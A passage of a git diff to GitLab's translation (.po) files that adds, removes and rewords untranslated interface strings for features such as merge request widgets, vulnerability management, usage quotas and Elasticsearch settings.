-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34425,7 +35042,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34461,7 +35078,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34669,9 +35289,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34804,9 +35421,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34861,6 +35475,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34957,9 +35574,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34972,9 +35586,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35350,6 +35961,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35368,12 +35982,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35422,6 +36030,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35476,12 +36090,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35491,6 +36108,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35626,9 +36246,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35671,6 +36288,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35770,7 +36390,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36318,6 +36938,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36342,6 +36965,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36447,10 +37073,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36471,9 +37097,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36534,6 +37157,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36706,7 +37332,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36763,6 +37389,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36961,9 +37593,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -37069,6 +37698,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37153,9 +37785,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37264,6 +37893,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37306,6 +37938,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37315,9 +37950,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37330,9 +37962,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37387,12 +38016,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37402,9 +38025,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37417,9 +38046,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37453,18 +38079,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37510,9 +38124,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37705,9 +38316,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -38011,9 +38619,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38239,6 +38844,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38263,6 +38880,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38364,6 +38984,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38476,6 +39099,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38488,9 +39114,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38506,6 +39129,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38515,7 +39141,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38527,6 +39156,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38551,9 +39183,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38566,10 +39204,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38743,7 +39381,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -39049,6 +39687,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -39061,7 +39702,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39236,6 +39877,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39245,7 +39892,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39359,6 +40006,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39632,13 +40282,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39674,6 +40321,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39704,12 +40354,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39761,6 +40417,13 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39809,6 +40472,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39944,9 +40610,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -40031,7 +40694,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -40097,6 +40760,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40289,6 +40958,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40305,15 +40977,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40323,6 +40989,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40390,9 +41059,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40490,6 +41156,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40523,9 +41192,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40698,6 +41364,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40707,6 +41376,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40732,6 +41404,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40768,6 +41443,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -41148,21 +41826,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41317,9 +41983,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41351,13 +42014,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41369,6 +42032,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41387,9 +42053,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41432,9 +42095,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41469,6 +42129,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41478,12 +42141,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41521,21 +42190,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41548,6 +42232,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41587,9 +42280,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41620,9 +42310,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41638,39 +42325,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41835,6 +42513,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -42021,9 +42711,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -42048,6 +42735,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/mk_MK/gitlab.po b/locale/mk_MK/gitlab.po
index 88152fe74f4..18d95943eea 100644
--- a/locale/mk_MK/gitlab.po
+++ b/locale/mk_MK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: mk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
